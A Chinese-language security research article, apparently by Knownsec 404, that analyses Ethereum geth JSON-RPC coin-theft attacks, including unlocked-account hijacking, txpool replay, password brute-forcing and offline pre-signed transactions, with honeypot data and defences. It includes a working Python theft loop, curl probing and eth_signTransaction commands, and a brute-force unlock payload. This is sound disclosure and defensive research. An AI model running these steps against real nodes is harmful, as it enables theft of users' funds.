2010年,Laszlo?使用?10000?個比特幣購買了兩張價值25美元的披薩被認為是比特幣在現實世界中的第一筆交易。
2017年,區塊鏈技術隨著數字貨幣的價格暴漲而站在風口之上。誰也不會想到,2010年的那兩塊披薩,能夠在2017年末價值?1.9億美元。
以太坊,作為區塊鏈2.0時代的代表,通過智能合約平臺,解決比特幣拓展性不足的問題,在金融行業有了巨大的應用。
通過智能合約進行交易,不用管交易時間,不用管交易是否合法,只要能夠符合智能合約的規則,就可以進行無限制的交易。
在巨大的經濟利益下,總會有人走上另一條道路。
古人的盜亦有道,在虛擬貨幣領域也有著它獨特的定義。只有對區塊鏈技術足夠了解,才能在這場盛宴中?偷?到足夠多的金錢。他們似那黑暗中獨行的狼,無論是否得手都會在被發現前抽身而去。
2018/03/21,在?《揭秘以太坊中潛伏多年的“偷渡”漏洞,全球黑客正在瘋狂偷幣》[19]?和?《以太坊生態缺陷導致的一起億級代幣盜竊大案》[20]?兩文揭秘?以太坊偷渡漏洞(又稱為以太坊黑色情人節事件)?相關攻擊細節后,知道創宇404團隊根據已有信息進一步完善了相關蜜罐。
2018/05/16,知道創宇404區塊鏈安全研究團隊對?偷渡漏洞?事件進行預警并指出該端口已存在密集的掃描行為。
2018/06/29,?慢霧社區?里預警了?以太坊黑色情人節事件(即偷渡漏洞)?新型攻擊手法,該攻擊手法在本文中亦稱之為:離線攻擊。在結合蜜罐數據復現該攻擊手法的過程中,知道創宇404區塊鏈安全研究團隊發現:在真實場景中,還存在?另外兩種?新型的攻擊方式:?重放攻擊?和?爆破攻擊,由于此類攻擊方式出現在?偷渡漏洞?曝光后,我們將這些攻擊手法統一稱為?后偷渡時代的盜幣方式。
本文將會在介紹相關知識點后,針對?偷渡漏洞?及?后偷渡時代的盜幣方式,模擬復現盜幣的實際流程,對攻擊成功的關鍵點進行分析。
所謂磨刀不誤砍柴功,只有清楚地掌握了關鍵知識點,才能在理解漏洞原理時游刃有余。在本節,筆者將會介紹以太坊發起一筆交易的簽名流程及相關知識點。
1.1 RLP 編碼
RLP (遞歸長度前綴)提供了一種適用于任意二進制數據數組的編碼,RLP已經成為以太坊中對對象進行序列化的主要編碼方式。
RLP?編碼會對字符串和列表進行序列化操作,具體的編碼流程如下圖:
在此,也以?3.4.1節?中?eth_signTransaction?接口返回的簽名數據為例,解釋該簽名數據是如何經過?tx?編碼后得到的。
result 字段中的 raw 和 tx 如下:
"raw": "f86b01832dc6c083030d4094d4f0ad3896f78e133f7841c3a6de11be0427ed89881bc16d674ec80000801ba0e2e7162ae34fa7b2ca7c3434e120e8c07a7e94a38986776f06dcd865112a2663a004591ab78117f4e8b911d65ba6eb0ce34d117358a91119d8ddb058d003334ba4
"
"tx": {
"nonce": "0x1",
"gasPrice": "0x2dc6c0",
"gas": "0x30d40",
"to": "0xd4f0ad3896f78e133f7841c3a6de11be0427ed89",
"value": "0x1bc16d674ec80000",
"input": "0x",
"v": "0x1b",
"r": "0xe2e7162ae34fa7b2ca7c3434e120e8c07a7e94a38986776f06dcd865112a2663",
"s": "0x4591ab78117f4e8b911d65ba6eb0ce34d117358a91119d8ddb058d003334ba4",
"hash": "0x4c661b558a6a2325aa36c5ce42ece7e3cce0904807a5af8e233083c556fbdebc"
}
根據 RLP 編碼的規則,我們對 tx 字段當作一個列表按順序進行編碼(hash除外)。由于長度必定大于55字節,所以采用最后一種編碼方式。
暫且先拋開前兩位,對所有項進行RLP編碼,結果如下:
合并起來就是:
01832dc6c083030d4094d4f0ad3896f78e133f7841c3a6de11be0427ed89881bc16d674ec80000801ba0e2e7162ae34fa7b2ca7c3434e120e8c07a7e94a38986776f06dcd865112a2663a004591ab78117f4e8b911d65ba6eb0ce34d117358a91119d8ddb058d003334ba4
一共是 214 位,長度是 107 比特,也就意味著第二位是?0x6b,第一位是?0xf7 + len(0x6b) = 0xf8,這也是最終?raw?的內容:
0xf86b01832dc6c083030d4094d4f0ad3896f78e133f7841c3a6de11be0427ed89881bc16d674ec80000801ba0e2e7162ae34fa7b2ca7c3434e120e8c07a7e94a38986776f06dcd865112a2663a004591ab78117f4e8b911d65ba6eb0ce34d117358a91119d8ddb058d003334ba4
1.2 keystore 文件及其解密
keystore?文件用于存儲以太坊私鑰。為了避免私鑰明文存儲導致泄漏的情況發生,keystore?文件應運而生。讓我們結合下文中的?keystore?文件內容來看一下私鑰是被如何加密的:
keystore文件來源:https://github.com/ethereum/tests/blob/2bb0c3da3bbb15c528bcef2a7e5ac4bd73f81f87/KeyStoreTests/basic_tests.json,略有改動
{
"address": "0x008aeeda4d805471df9b2a5b0f38a0c3bcba786b",
"crypto" : {
"cipher" : "aes-128-ctr",
"cipherparams" : {
"iv" : "83dbcc02d8ccb40e466191a123791e0e"
},
"ciphertext" : "d172bf743a674da9cdad04534d56926ef8358534d458fffccd4e6ad2fbde479c",
"kdf" : "scrypt",
"kdfparams" : {
"dklen" : 32,
"n" : 262144,
"r" : 1,
"p" : 8,
"salt" : "ab0c7876052600dd703518d6fc3fe8984592145b591fc8fb5c6d43190334ba19"
},
"mac" : "2103ac29920d71da29f15d75b4a16dbe95cfd7ff8faea1056c33131d846e3097"
},
"id" : "3198bc9c-6672-5ab3-d995-4942343ae5b6",
"version" : 3
}
在此,我將結合私鑰的加密過程說明各字段的意義:
加密步驟一:使用aes-128-ctr對以太坊賬戶的私鑰進行加密
本節開頭已經說到,keystore?文件是為了避免私鑰明文存儲導致泄漏的情況發生而出現的,所以加密的第一步就是對以太坊賬戶的私鑰進行加密。這里使用了?aes-128-ctr?方式進行加密。設置?解密密鑰和?初始化向量iv?就可以對以太坊賬戶的私鑰進行加密,得到加密后的密文。
keystore?文件中的cipher、cipherparams、ciphertext參數與該加密步驟有關:
加密步驟二:利用kdf算法計算解密密鑰
經過加密步驟一,以太坊賬戶的私鑰已經被成功加密。我們只需要記住?解密密鑰?就可以進行解密,但這里又出現了一個新的問題,解密密鑰?長達32位且毫無規律可言。所以以太坊又使用了一個?密鑰導出函數(kdf)?計算解密密鑰。在這個?keystore?文件中,根據?kdf?參數可以知道使用的是?scrypt?算法。最終實現的效果就是:對我們設置的密碼與?kdfparams?中的參數進行?scrypt?計算,就會得到?加密步驟1?中設置的?解密密鑰.
keystore?文件中的?kdf、kdfparams?參數與該加密步驟有關:
加密步驟三:驗證用戶密碼的正確性
假設用戶輸入了正確的密碼,只需要通過步驟一二進行解密就可以得到正確的私鑰。但我們不能保證用戶每次輸入的密碼都是正確的。所以引入了驗算的操作。驗算的操作十分簡單,取步驟二解密出的密鑰的第十七到三十二位和?ciphertext?進行拼接,計算出該字符串的?sha3_256?的值。如果和?mac?的內容相同,則說明密碼正確。
keystore?文件中的?mac?參數與該步驟有關:
綜上所述,要從?keystore?文件中解密出私鑰,所需的步驟是:
流程圖如下:
如果有讀者想通過編程實現從?keystore?文件中恢復出私鑰,可以參考How do I get the raw private key from my Mist keystore file?[15]中的最后一個回答。
其中有以下幾點注意事項:
1.3 以太坊交易的流程
根據源碼以及網上已有的資料,筆者總結以太坊的交易流程如下:
對于本文來說,步驟2:以太坊對轉賬信息進行簽名對于理解?3.4節 利用離線漏洞進行攻擊?十分重要。筆者也將會著重分析該步驟的具體實現。
從上文中我們可以知道,私鑰已經被加密在?keystore?文件中,所以在步驟2進行簽名操作之前,需要將私鑰解密出來。在以太坊的操作中有專門的接口用于解鎖賬戶:?personal.unlockAccount
在解鎖對應的賬戶后,我們將可以進行轉賬操作。在用私鑰進行簽名前,存在一些初始化操作:
這里可以注意一點:Transaction?結構體中是不存在?from?字段的。這里不添加?from?字段和后面的簽名算法有著密切的關系。
使用私鑰對交易信息進行簽名主要分為兩步:
根據橢圓加密算法的特點,我們可以根據?r、s、v?和?hash?算出對應的公鑰。
由于以太坊的地址是公鑰去除第一個比特后經過?sha3_256?加密的后40位,所以在交易信息中不包含?from?的情況下,我們依舊可以知道這筆交易來自于哪個地址。這也是前文說到?Transaction?結構體中不存在?from?的原因。
在簽名完成后,將會被添加進交易緩存池(txpool),在這個操作中,from?將會被還原出來,并進行一定的校驗操作。同時也考慮到交易緩存池的各種極端情況,例如:在交易緩存池已滿的情況下,會將金額最低的交易從緩存池中移除。
最終,交易緩存池中存儲的交易會進行廣播,網絡中各節點收到該交易后都會將該交易存入交易緩存池。當某節點挖到新的區塊時,將會從交易緩存池中按照?gasPrice?高低排序交易并打包進區塊。
2.1 攻擊流程復現
攻擊復現環境位于?ropsten?測試網絡。
被攻擊者IP: 10.0.0.2 ,啟動客戶端命令為:geth –testnet –rpc –rpcapi eth –rpcaddr 0.0.0.0 console?賬戶地址為:0x6c047d734ee0c0a11d04e12adf5cce4b31da3921,剩余余額為?5 ether
攻擊者IP: 10.0.0.3 , 賬戶地址為?0xda0b72478ed8abd676c603364f3105233068bdad
注:若讀者要在公鏈、測試網絡實踐該部分內容,建議先閱讀?3.2?節的內容,了解該部分可能存在的隱藏問題。
攻擊者步驟如下:
一段時間后,被攻擊者需要進行交易:
按照之前的知識點,用戶需要先解鎖賬戶然后才能轉賬。當我們使用?personal.unlockAccount?和密碼解鎖賬戶后,就可以在終端看到惡意攻擊者已經成功發起交易。
讀者可以通過該鏈接看到惡意攻擊者的交易信息。
攻擊的流程圖如下所示:
2.2 攻擊成功的關鍵點解析
看完 2.1 節?偷渡漏洞?攻擊流程,你可能會有這樣的疑問:
下文將詳細分析這兩個問題并給出答案。
2.2.1 攻擊者可以通過 rpc 接口轉賬的原因
首先,分析一下關鍵的?unlockAccount?函數:
func (s *PrivateAccountAPI) UnlockAccount(addr common.Address, password string, duration *uint64) (bool, error) {
const max = uint64(time.Duration(math.MaxInt64) / time.Second)
var d time.Duration
if duration == nil {
d = 300 * time.Second
} else if *duration > max {
return false, errors.New("unlock duration too large")
} else {
d = time.Duration(*duration) * time.Second
}
err := fetchKeystore(s.am).TimedUnlock(accounts.Account{Address: addr}, password, d)
return err == nil, err
}
在判斷傳入的解鎖時間是否為空、是否大于最大值后,調用?TimedUnlock()?進行解鎖賬戶的操作,而?TimedUnlock()?的代碼如下:
func (ks *KeyStore) TimedUnlock(a accounts.Account, passphrase string, timeout time.Duration) error {
a, key, err := ks.getDecryptedKey(a, passphrase)
if err != nil {
return err
}
ks.mu.Lock()
defer ks.mu.Unlock()
u, found := ks.unlocked[a.Address]
if found {
if u.abort == nil {
// The address was unlocked indefinitely, so unlocking
// it with a timeout would be confusing.
zeroKey(key.PrivateKey)
return nil
}
// Terminate the expire goroutine and replace it below.
close(u.abort)
}
if timeout > 0 {
u = &unlocked{Key: key, abort: make(chan struct{})}
go ks.expire(a.Address, u, timeout)
} else {
u = &unlocked{Key: key}
}
ks.unlocked[a.Address] = u
return nil
}
首先通過?getDecryptedKey()?從?keystore?文件夾下的文件中解密出私鑰(具體的解密過程可以參考 1.2 節的內容),再判斷該賬戶是否已經被解鎖,如果沒有被解鎖,則將解密出的私鑰存入名為?unlocked?的 map 中。如果設置了解鎖時間,則啟動一個協程進行超時處理?go ks.expire().
再看向實現轉賬的函數的實現過程?SendTransaction() -> wallet.SignTx() -> w.keystore.SignTx():
func (s *PublicTransactionPoolAPI) SendTransaction(ctx context.Context, args SendTxArgs) (common.Hash, error) {
account := accounts.Account{Address: args.From}
wallet, err := s.b.AccountManager().Find(account)
......
tx := args.toTransaction()
......
signed, err := wallet.SignTx(account, tx, chainID)
return submitTransaction(ctx, s.b, signed)
}
func (w *keystoreWallet) SignTx(account accounts.Account, tx *types.Transaction, chainID *big.Int) (*types.Transaction, error) {
......
return w.keystore.SignTx(account, tx, chainID)
}
func (ks *KeyStore) SignTx(a accounts.Account, tx *types.Transaction, chainID *big.Int) (*types.Transaction, error) {
// Look up the key to sign with and abort if it cannot be found
ks.mu.RLock()
defer ks.mu.RUnlock()
unlockedKey, found := ks.unlocked[a.Address]
if !found {
return nil, ErrLocked
}
// Depending on the presence of the chain ID, sign with EIP155 or homestead
if chainID != nil {
return types.SignTx(tx, types.NewEIP155Signer(chainID), unlockedKey.PrivateKey)
}
return types.SignTx(tx, types.HomesteadSigner{}, unlockedKey.PrivateKey)
}
可以看到,在?w.keystore.SignTx()?中,直接從?ks.unlocked?中取出對應的私鑰。這也就意味著如果執行了?unlockAccount()?函數、沒有超時的話,從?ipc、rpc調用?SendTransaction()?都會成功簽名相關交易。
由于默認參數啟動的?Go-Ethereum?設計上并沒有對?ipc、rpc?接口添加相應的鑒權模式,也沒有在上述的代碼中對請求用戶的身份進行判斷,最終導致攻擊者可以在用戶解鎖賬號的時候完成轉賬操作,偷渡漏洞利用成功。
2.2.2 攻擊者和用戶競爭轉賬的問題
由于用戶解鎖賬戶的目的是為了轉賬,所以存在用戶和攻擊者幾乎同時發起了交易的情況,在這種情況下,攻擊者是如何保證其攻擊的成功率呢?
在攻擊者賬號0x957cD4Ff9b3894FC78b5134A8DC72b032fFbC464的交易記錄中,交易0x8ec46c3054434fe00155bb2d7e36d59f35d0ae1527aa5da8ec6721b800ec3aa2能夠很好地解釋該問題。
相較于目前主流的?gasPrice?維持在?1 Gwei,該筆交易的?gasPrice?達到了驚人的?1,149,246 Gwei。根據?1.3節?中介紹的以太坊交易流程可知:
也正是由于較高的?gasPrice,使得該攻擊者在與其它攻擊者的競爭中(有興趣的可以看看上圖紅框下方兩筆?dropped Txns)得到這筆?巨款。
2.3 蜜罐捕獲數據
該部分數據截止 2018/03/21
在?偷渡漏洞?被曝光后,知道創宇404團隊在已有的蜜罐數據中尋找到部分攻擊的痕跡。
下圖是?2017/10/01?到?2018/03/21?間蜜罐監控到的相關攻擊情況:
被攻擊端口主要是?8545端口,8546、10332、8555、18082、8585端口等也有少量掃描痕跡。
攻擊來源IP主要集中在?46.166.148.120/196?和?216.158.238.178/186/226?上:
46.166.148.120/196?攻擊者使用的探測?payload?主要是:
{"jsonrpc":"2.0","method":"eth_getBlockByNumber","params":["0x1", false], "id":309900}
216.158.238.178/186/226?攻擊者使用的探測?payload?主要是:
{"id":0,"jsonrpc":"2.0","method":"eth_accounts"}
在偷渡漏洞被曝光后,攻擊者和防御者都有所行動。根據我們蜜罐系統捕獲的數據,在后偷渡時代,攻擊的形式趨于多樣化,利用的以太坊特性越來越多,攻擊方式趨于完善。部分攻擊甚至可以繞過針對偷渡漏洞的防御方式,所以在說這些攻擊方式前,讓我們從偷渡漏洞的防御修復方式開篇。
3.1 偷渡漏洞的已知的防范、修復方式
在參考鏈接?10、19、20?中,關于偷渡漏洞的防范、修復方式有:
但是實際的情況卻是?關閉對公網暴露的 RPC 接口?、使用 personal.sendTransaction()進行轉賬?或?節點上不存放賬戶信息(keystore)?后,依然可能會被盜幣。根據上文,模擬出如下兩種情景:
情景一:對于曾經被盜幣,修復方案僅為:關閉對公網暴露的?RPC?接口,關閉后繼續使用節點中相關賬戶或移除了賬戶信息(keystore)的節點,可能會受到?Geth 交易緩存池的重放攻擊?和?離線漏洞?的攻擊。
情景二:對于暫時無法關閉對公網暴露的?RPC?接口,卻使用?personal.sendTransaction()?安全轉賬的節點,可能會受到?爆破賬號密碼?的攻擊。
我們也將會在?3.2節 – 3.5節?詳細的說明這三種漏洞的攻擊流程。
3.2 交易緩存池的重放攻擊
對于曾經被盜幣,修復方案僅為:關閉對公網暴露的?RPC?接口,關閉后繼續使用節點中相關賬戶的節點,可能會受到該攻擊
3.2.1 發現經歷
細心的讀者也許會發現,在?2.1節?中,為了實現攻擊者不停的發送轉賬請求的功能,筆者使用了?while True?循環,并且在?geth?終端中看到了多條成功簽名的交易?hash。由于交易緩存池擁有一定的校驗機制,所以除了第一筆交易0x4ad68aafc59f18a11c0ea6e25588d296d52f04edd969d5674a82dfd4093634f6外,剩下的交易應該因為賬戶余額不足而被移出交易緩存池。
但是在測試網絡中卻出現了截然不同的情況,在我們關閉本地的?geth?客戶端后,應該被移出交易緩存池的交易在余額足夠的情況下會再次出現并交易成功:
(為了避免該現象的出現,在?2.1節?中,可以在成功轉賬之后利用?break?終止相關的循環)
這個交易奇怪的地方在于:在賬戶余額不足的情況下,查找不到任何?Pendding Transactions:
當賬戶余額足夠支付時,被移出交易緩存池的交易會重新出現,并且是?Pendding?狀態。
在部分?pendding?的交易完成后,剩余的交易將會繼續消失。
這也就意味著,如果攻擊者能夠在利用?偷渡漏洞?的過程中,在交易被打包進區塊,賬號狀態發生改變前發送大量的交易信息,第一條交易會被立即實行,剩余的交易會在?受害人賬號余額?大于?轉賬金額+gas消耗的金額?的時候繼續交易,而且這個交易信息在大多數情況下不會被查到。
對于這個問題進行分析研究后,我們認為可能的原因是:以太坊在同步交易緩存池的過程中可能因為網絡波動、分布式的特點等原因,導致部分交易多次進入交易緩存池。這也導致?部分應該被移出交易緩存池的交易?多次重復進入交易緩存池。
具體的攻擊流程如下:
3.2.2 本地復現過程
關于 3.2.1 節中出現的現象,筆者進行了多方面的猜測。最終在低版本的 geth 中模擬復現了該問題。但由于現實環境的復雜性和不可控性,并不能確定該模擬過程就是造成該現象的最終原因,故該本地復現流程僅供參考。
攻擊復現環境位于私鏈中,私鏈挖礦難度設置為?0x400000,保證在挖出區塊之前擁有足夠的時間檢查各節點的交易緩存池。geth的版本為?1.5.0。
被攻擊者的節點A:通過?geth –networkid 233 –nodiscover –verbosity 6 –ipcdisable –datadir data0 –rpc –rpcaddr 0.0.0.0 console?啟動。
礦機節點B,負責挖礦: 通過?geth –networkid 233 –nodiscover –verbosity 6 –ipcdisable –datadir data0 –port 30304 –rpc –rpcport 8546 console?啟動并在終端輸入?miner.start(1),使用單線程進行挖礦。
存在問題的節點C:通過?geth –networkid 233 –nodiscover –verbosity 6 –ipcdisable –datadir data0 –port 30305 –rpc –rpcport 8547 console?啟動。
各節點啟動后通過?admin.nodeInfo?和?admin.addPeer()?相互添加節點。
1.攻擊者掃描到被攻擊節點A開放了rpc端口,使用如下代碼開始攻擊:
import time
from web3 import Web3,HTTPProvider
web3 = Web3(HTTPProvider("http://172.16.4.128:8545/"))
web3.eth.getBalance(web3.eth.accounts[0])
while True:
try:
for i in range(3):
web3.eth.sendTransaction({
"from":web3.eth.accounts[0],
"to":web3.eth.accounts[1],
"value": 1900000000000000000000000,
"gas": 21000,
"gasPrice": 10000000000000})
break
except:
time.sleep(1)
pass
2.節點A的用戶由于轉賬的需求,使用?personal.unlockAccount()?解鎖賬戶,導致偷渡漏洞發生。由于一共進行了三次轉賬請求并成功廣播,所以A、B、C交易緩存池中均存在這三筆交易。
3.由于網絡波動等原因,此時節點 C 與其它節點失去連接。在這里用?admin.removePeer()?模擬節點 C 掉線。節點 B 繼續挖礦,完成相應的交易。后兩筆交易會因為余額不足從交易緩存池中移除,最終節點 A ,B 的交易緩存池中將不會有任何交易。
4.上述步驟 1-3 即是前文說到的?偷渡漏洞,被攻擊者A發現其節點被攻擊,迅速修改了節點A的啟動命令,去除了?–rpc –rpcaddr 0.0.0.0,避免?RPC?端口暴露在公網之中。之后繼續使用該賬戶進行了多次轉賬。例如,使用其它賬號給節點A上的賬號轉賬,使的節點A上的賬號余額為?1.980065000882e+24
5.節點 C 再次連接進網絡,會將其交易池中的三個交易再次廣播,發送到各節點。這就造成已經移除交易緩存池的交易再次回到交易緩存池中。
6.由于此時節點A的賬戶余額足夠,第二個交易將會被打包進區塊,節點A中的余額再次被盜。
注: 在實際的場景中,不一定會出現節點 C 失去連接的情況,但由于存在大量分布式節點的原因,交易被其它節點重新發送的情況也是可能出現的。這也可以解釋為什么在前文說到:?賬戶余額足夠時,會出現大量應該被移除的 pending 交易,在部分交易完成后,pending 交易消失的的情況。當賬戶余額足夠時,重新廣播交易的節點會將之前所有的交易再次廣播出去,在交易完成后,剩余 pending 交易會因為余額不足再次從交易緩存池中被移除。
注2: 除了本節說到的現象外,亦不排除攻擊者設置了惡意的以太坊節點,接收所有的交易信息并將部分交易持續廣播。但由于該猜想無法驗證,故僅作為猜測思路提供。
3.3 unlockAccount接口的爆破攻擊
對于暫時無法關閉對公網暴露的?RPC?接口的節點,在不使用?personal.unlockAccount()?的情況下,仍然存在被盜幣的可能。
3.3.1 漏洞復現
被攻擊節點啟動參數為:?geth –testnet –rpc –rpcaddr 0.0.0.0 –rpcapi eth,personal console
攻擊者的攻擊步驟為:
攻擊流程如下圖所示:
3.3.2 升級的爆破方式
根據偷渡漏洞的原理可以知道該攻擊方式有一個弊端:如果有兩個攻擊者同時攻擊一個節點,當一個攻擊者爆破成功,那么這兩個攻擊者都將可以取走節點中的余額。
根據?2.3?節中的分析可以知道,誰付出了更多的手續費,誰的交易將會被先打包。這也陷入了一個惡性循環,盜幣者需要將他們的利益更多地分給打包的礦工才能偷到對應的錢。也正是因為這個原因,蜜罐捕獲到的爆破轉賬請求從最初的?personal_unlockAccount?接口逐漸變成了?personal_sendTransaction?接口。
personal_sendTransaction?接口是?Geth?官方在?2018/01?新增了一個解決偷渡漏洞的RPC接口。使用該接口轉賬,解密出的私鑰將會存放在內存中,所以不會引起?偷渡漏洞?相關的問題。攻擊者與時俱進的攻擊方式不免讓我們驚嘆。
3.4 自動簽名交易的離線攻擊
對于曾經被盜幣的節點,可能會被離線漏洞所攻擊。這取決于被盜幣時攻擊者生成了多個交易簽名。
3.4.1 攻擊流程復現
由于該攻擊涉及到的?eth_signTransaction?接口在?pyweb3?中不存在,故攻擊流程復現使用?curl?命令與?JSON-RPC?交互
攻擊者IP為:10.0.0.3,賬戶地址為:0xd4f0ad3896f78e133f7841c3a6de11be0427ed89,geth?的啟動命令為:?geth –testnet –rpc –rpcaddr 0.0.0.0 –rpcapi eth,net,personal
被攻擊者IP為: 10.0.0.4,geth?版本為?1.8.11?(當前最新版本為?1.8.12),賬戶地址為?0x9e92e615a925fd77522c84b15ea0e8d2720d3234
1.攻擊者掃描到被攻擊者開放了?8545?端口后,可以通過多個接口獲取被攻擊者信息
curl -XPOST --data '{"jsonrpc":"2.0","method":"eth_accounts","params":[],"id":1}' --header "Content-Type: application/json" http://10.0.0.4:8545
curl -XPOST --data '{"jsonrpc":"2.0","method":"eth_getBalance","params":["0x9e92e615a925fd77522c84b15ea0e8d2720d3234","latest"],"id":1}' --header "Content-Type: application/json" http://10.0.0.4:8545
curl -XPOST --data '{"jsonrpc":"2.0","method":"eth_blockNumber","params":null,"id":1}' --header "Content-Type: application/json" http://10.0.0.4:8545
curl -XPOST --data '{"jsonrpc":"2.0","method":"net_version","params":null,"id":1}' --header "Content-Type: application/json" http://10.0.0.4:8545
賬戶里余額為0,是因為筆者沒有及時同步區塊。實際余額是?0.98 ether
2.通過?eth_getTransactionCount?接口獲取節點賬戶和盜幣賬戶之間的轉賬次數,用于計算?nonce。等待用戶通過?personal.unlockAccount()?解鎖。在用戶解鎖賬戶的情況下,通過?eth_signTransaction接口持續發送多筆簽名轉賬請求。例如:簽名的轉賬金額是?2 ether,發送的數據包如下:
curl -XPOST --data '{"jsonrpc":"2.0","method":"eth_signTransaction","params":[{"from":"0x9e92e615a925fd77522c84b15ea0e8d2720d3234","to":"0xd4f0ad3896f78e133f7841c3a6de11be0427ed89","value": "0x1bc16d674ec80000", "gas": "0x30d40", "gasPrice": "0x2dc6c0","nonce":"0x1"}],"id":1}' --header "Content-Type: application/json" http://10.0.0.4:8545
注: 該接口在官方文檔中沒有被介紹,但在新版本的geth中的確存在
攻擊者會在賬戶解鎖期間按照?nonce?遞增的順序構造多筆轉賬的簽名。
3.至此,攻擊者的攻擊已經完成了一半。無論被攻擊者是否關閉?RPC?接口,攻擊者都已經擁有了轉移走用戶賬戶里?2 ether?的能力。攻擊者只需監控用戶賬戶中的余額是否超過?2 ether?即可。如圖所示,在轉入?1.2 ether?后,用戶的賬戶余額已經達到?2 ether
攻擊者在自己的節點對已經簽名的交易進行廣播:
eth.sendRawTransaction("0xf86b01832dc6c083030d4094d4f0ad3896f78e133f7841c3a6de11be0427ed89881bc16d674ec80000801ba0e2e7162ae34fa7b2ca7c3434e120e8c07a7e94a38986776f06dcd865112a2663a004591ab78117f4e8b911d65ba6eb0ce34d117358a91119d8ddb058d003334ba4")
2 ether?被成功盜走。
相關交易記錄可以在測試網絡上查詢到。
攻擊流程圖示如下:
3.4.2 攻擊成功的關鍵點解析
按照慣例,先提出問題:
從原理上說,離線漏洞的攻擊方式亦是以太坊離線簽名的一種應用。
為了保護私鑰的安全性,以太坊擁有離線簽名這一機制。用戶可以在不聯網的電腦上生成私鑰,通過該私鑰簽名交易,將簽名后的交易在聯網的主機上廣播出去,就可以成功實現交易并有效地保證私鑰的安全性。
在 1.3 節的圖中,詳細的說明了以太坊實現交易簽名的步驟。在各參數正確的情況下,以太坊會將交易的相關參數:nonce、gasPrice、gas、to、value?等值進行?RLP?編碼,然后通過?sha3_256?算出其對應的?hash?值,然后通過私鑰對?hash?值進行簽名,最終得到?s、r、v。所以交易的相關參數有:
"tx": {
"nonce": "0x1",
"gasPrice": "0x2dc6c0",
"gas": "0x30d40",
"to": "0xd4f0ad3896f78e133f7841c3a6de11be0427ed89",
"value": "0x1bc16d674ec80000",
"input": "0x",
"v": "0x1b",
"r": "0xe2e7162ae34fa7b2ca7c3434e120e8c07a7e94a38986776f06dcd865112a2663",
"s": "0x4591ab78117f4e8b911d65ba6eb0ce34d117358a91119d8ddb058d003334ba4",
"hash": "0x4c661b558a6a2325aa36c5ce42ece7e3cce0904807a5af8e233083c556fbdebc"
}
由于?hash?可以根據其它值算出來,所以對除?hash?外的所有值進行?RLP?編碼,即可得到簽名后的交易內容。
在以太坊的其它節點接受到該交易后,會通過?RLP?解碼得到對應的值并算出?hash?的值。由于橢圓曲線數字簽名算法可以在知道?hash?和?s、r、v的情況下得到公鑰的值、公鑰經過?sha3_256?加密,后四十位就是賬戶地址,所以只有在所有參數沒有被篡改的情況下,才能還原出公鑰,計算出賬戶地址。因此確認該交易是從這個地址簽名的。
根據上述的簽名流程,也可以看出,在對應的字段中,缺少了簽名時間這一字段,這也許會在區塊鏈落地的過程中帶來一定的阻礙。
根據官網的描述,eth_sign?的實現是?sign(keccak256(“\x19Ethereum Signed Message:\n” + len(message) + message)))
這與?3.4.2.1?節中交易簽名流程有著天壤之別,所以?eth_sign?接口并不能實現對交易的簽名!
注:我們的蜜罐未抓取到離線漏洞相關攻擊流量,上述攻擊細節是知道創宇404區塊鏈安全團隊研究后實現的攻擊路徑,可能和現實中黑客的攻擊流程有一定的出入。
3.5 蜜罐捕獲攻擊JSON‐RPC相關數據分析
在偷渡漏洞曝光后,知道創宇404團隊有針對性的開發并部署了相關蜜罐。 該部分數據統計截止?2018/07/14
3.5.1 探測的數據包
對蜜罐捕獲的攻擊流量進行統計,多個?JSON-RPC?接口被探測或利用:
其中?eth_blockNumber、eth_accounts、net_version、personal_listWallets?等接口具有很好的前期探測功能,net_version?可以判斷是否是主鏈,personal_listWallets?則可以查看所有賬戶的解鎖情況。
personal_unlockAccount、personal_sendTransaction、eth_sendTransaction?等接口支持解鎖賬戶或直接進行轉賬。
可以說,相比于第一階段的攻擊,后偷渡時代?針對?JSON-RPC?的攻擊正呈現多元化的特點。
3.5.2 爆破賬號密碼
蜜罐在?2018/05/24?第一次檢測到通過?unlockAccount?接口爆破賬戶密碼的行為。截止?2018/07/14?蜜罐一共捕獲到?809?個密碼在爆破中使用,我們將會在最后的附錄部分給出詳情。
攻擊者主要使用?personal_unlockAccount?接口進行爆破,爆破的 payload 主要是:
{"jsonrpc":"2.0","method":"personal_unlockAccount","params":["0x96B5aB24dA10c8c38dac32B305caD76A99fb4A36","katie123",600],"id":50}
在所有的爆破密碼中有一個比較特殊:ppppGoogle。該密碼在?personal_unlockAccount?和?personal_sendTransaction?接口均有被多次爆破的痕跡。是否和《Microsoft Azure 以太坊節點自動化部署方案漏洞分析》案例一樣,屬于某廠商以太坊節點部署方案中的默認密碼,仍有待考證。
3.5.3 轉賬的地址
蜜罐捕獲到部分新增的盜幣地址有:
3.5.4 攻擊來源IP
3.6 其它的威脅點
正如本文標題所說,區塊鏈技術為金融行業帶來了豐厚的機遇,但也招來了眾多獨行的大盜。本節將會簡單介紹在研究偷渡漏洞過程中遇到的其它威脅點。
3.6.1 parity_exportAccount 接口導出賬戶信息
在?3.5.1?節中,蜜罐捕獲到對?parity_exportAccount?接口的攻擊。根據官方手冊,攻擊者需要輸入賬號地址和對應的密碼,如果正確將會導出以json格式導出錢包。
看過?1.2、1.3?節中的知識點、偷渡漏洞、后偷渡時代的利用方式的介紹,需要意識到:一旦攻擊者攻擊成功,私鑰將會泄漏,攻擊者將能完全控制該地址。
3.6.2 clef 中的 account_export 接口
該軟件是?geth?中一個仍未正式發布的測試軟件。其中存在一個導出賬戶的接口?account_export。
通過?curl -XPOST http://localhost:8550/ -d ‘{“id”: 5,”jsonrpc”: “2.0”,”method” : “account_export”,”params”: [“0xc7412fc59930fd90099c917a50e5f11d0934b2f5”]}’ –header “Content-Type: appli cation/json”?命令可以調用該接口導出相關賬號信息。值得一提的是,在接口存在一定的安全機制,需要用戶同意之后才會導出賬號。
雖然該接口目前仍算安全,但由于不需要密碼即可導出keystore文件內容的特性,值得我們持續關注。
3.7 后偷渡時代的防御方案
相較于?3.1?節已有的防御方案,后偷渡時代更加關注賬戶和私鑰安全。
在這個屬于區塊鏈的風口上,實際落地仍然還有很長的路需要走。后偷渡時代的離線漏洞中出現的?區塊鏈記錄的交易時間不一定是交易簽名時間?這一問題就是落地過程中的阻礙之一。
區塊鏈也為攻擊溯源帶來了巨大的阻礙。一旦私鑰泄漏,攻擊者可以在任何地方發動轉賬。而由于區塊鏈分布式存儲的原因,僅僅通過區塊鏈尋找攻擊者的現實位置也變得難上加難。
